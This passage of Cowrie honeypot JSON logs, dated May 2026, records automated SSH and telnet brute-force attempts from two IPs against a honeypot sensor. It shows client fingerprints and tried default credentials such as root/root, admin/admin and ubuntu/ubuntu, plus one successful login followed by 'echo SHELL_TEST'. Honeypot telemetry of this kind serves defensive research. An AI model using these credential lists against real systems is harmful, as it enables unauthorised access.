v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:12.146753Z","src_ip":"161.97.66.49","session":"6e4834583fb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:12.421523Z","src_ip":"161.97.66.49","session":"6e4834583fb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":42748,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e8fddef3357","protocol":"telnet","message":"New connection: 147.124.211.111:42748 (159.203.135.109:23) [session: 3e8fddef3357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:12.466678Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:13.516301Z","src_ip":"161.97.66.49","session":"6e4834583fb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":57930,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1954fb602ac","protocol":"ssh","message":"New connection: 161.97.66.49:57930 (10.17.0.5:22) [session: d1954fb602ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:13.604401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:13.608869Z","src_ip":"161.97.66.49","session":"d1954fb602ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:13.700717Z","src_ip":"161.97.66.49","session":"d1954fb602ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:13.977396Z","src_ip":"161.97.66.49","session":"d1954fb602ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.416229009628296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:14.559723Z","src_ip":"147.124.211.111","session":"ee47af95a94d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076357126235962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:14.810932Z","src_ip":"147.124.211.111","session":"f27c95bf35ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:15.072997Z","src_ip":"161.97.66.49","session":"d1954fb602ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":57940,"dst_ip":"10.17.0.5","dst_port":22,"session":"22bcde189f8c","protocol":"ssh","message":"New connection: 161.97.66.49:57940 (10.17.0.5:22) [session: 22bcde189f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:15.169111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:15.174530Z","src_ip":"161.97.66.49","session":"22bcde189f8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:15.270964Z","src_ip":"161.97.66.49","session":"22bcde189f8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:15.559785Z","src_ip":"161.97.66.49","session":"22bcde189f8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.474725484848022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:16.217423Z","src_ip":"147.124.211.111","session":"677920d12b90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:16.674643Z","src_ip":"161.97.66.49","session":"22bcde189f8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.347571849822998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:16.739256Z","src_ip":"147.124.211.111","session":"35759e8c161b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":57952,"dst_ip":"10.17.0.5","dst_port":22,"session":"098b760cc7ec","protocol":"ssh","message":"New connection: 161.97.66.49:57952 (10.17.0.5:22) [session: 098b760cc7ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:16.759664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:16.766838Z","src_ip":"161.97.66.49","session":"098b760cc7ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:16.859290Z","src_ip":"161.97.66.49","session":"098b760cc7ec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:17.137273Z","src_ip":"161.97.66.49","session":"098b760cc7ec","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:17.404929Z","src_ip":"161.97.66.49","session":"098b760cc7ec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:17.408461Z","src_ip":"161.97.66.49","session":"098b760cc7ec","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0eea9ca9f3fbc41811e1d8d4a98ab49152ebe7478aa3d0e2b868ec2a6a5f340b","size":11,"shasum":"0eea9ca9f3fbc41811e1d8d4a98ab49152ebe7478aa3d0e2b868ec2a6a5f340b","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/0eea9ca9f3fbc41811e1d8d4a98ab49152ebe7478aa3d0e2b868ec2a6a5f340b after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:17.503971Z","src_ip":"161.97.66.49","session":"098b760cc7ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:17.509371Z","src_ip":"161.97.66.49","session":"098b760cc7ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":57968,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bcc1e566968","protocol":"ssh","message":"New connection: 161.97.66.49:57968 (10.17.0.5:22) [session: 4bcc1e566968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:17.599480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:17.604122Z","src_ip":"161.97.66.49","session":"4bcc1e566968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:17.700382Z","src_ip":"161.97.66.49","session":"4bcc1e566968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:17.989348Z","src_ip":"161.97.66.49","session":"4bcc1e566968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:19.087946Z","src_ip":"161.97.66.49","session":"4bcc1e566968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":42718,"dst_ip":"10.17.0.5","dst_port":22,"session":"484ff3707333","protocol":"ssh","message":"New connection: 161.97.66.49:42718 (10.17.0.5:22) [session: 484ff3707333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:19.180275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:19.185032Z","src_ip":"161.97.66.49","session":"484ff3707333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:19.281873Z","src_ip":"161.97.66.49","session":"484ff3707333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaszde123@","message":"login attempt [root/Qaszde123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:19.569148Z","src_ip":"161.97.66.49","session":"484ff3707333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:20.667446Z","src_ip":"161.97.66.49","session":"484ff3707333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":42722,"dst_ip":"10.17.0.5","dst_port":22,"session":"297697b405f1","protocol":"ssh","message":"New connection: 161.97.66.49:42722 (10.17.0.5:22) [session: 297697b405f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:20.788328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:20.792752Z","src_ip":"161.97.66.49","session":"297697b405f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:20.888456Z","src_ip":"161.97.66.49","session":"297697b405f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:21.166614Z","src_ip":"161.97.66.49","session":"297697b405f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:22.260933Z","src_ip":"161.97.66.49","session":"297697b405f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":42738,"dst_ip":"10.17.0.5","dst_port":22,"session":"55e0dde65d35","protocol":"ssh","message":"New connection: 161.97.66.49:42738 (10.17.0.5:22) [session: 55e0dde65d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:22.357574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:22.362637Z","src_ip":"161.97.66.49","session":"55e0dde65d35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:22.458887Z","src_ip":"161.97.66.49","session":"55e0dde65d35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:22.746840Z","src_ip":"161.97.66.49","session":"55e0dde65d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:23.854104Z","src_ip":"161.97.66.49","session":"55e0dde65d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.66.49","src_port":42740,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ab2d063b884","protocol":"ssh","message":"New connection: 161.97.66.49:42740 (10.17.0.5:22) [session: 7ab2d063b884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:23.946551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:54:23.951374Z","src_ip":"161.97.66.49","session":"7ab2d063b884","protocol":"ssh"}
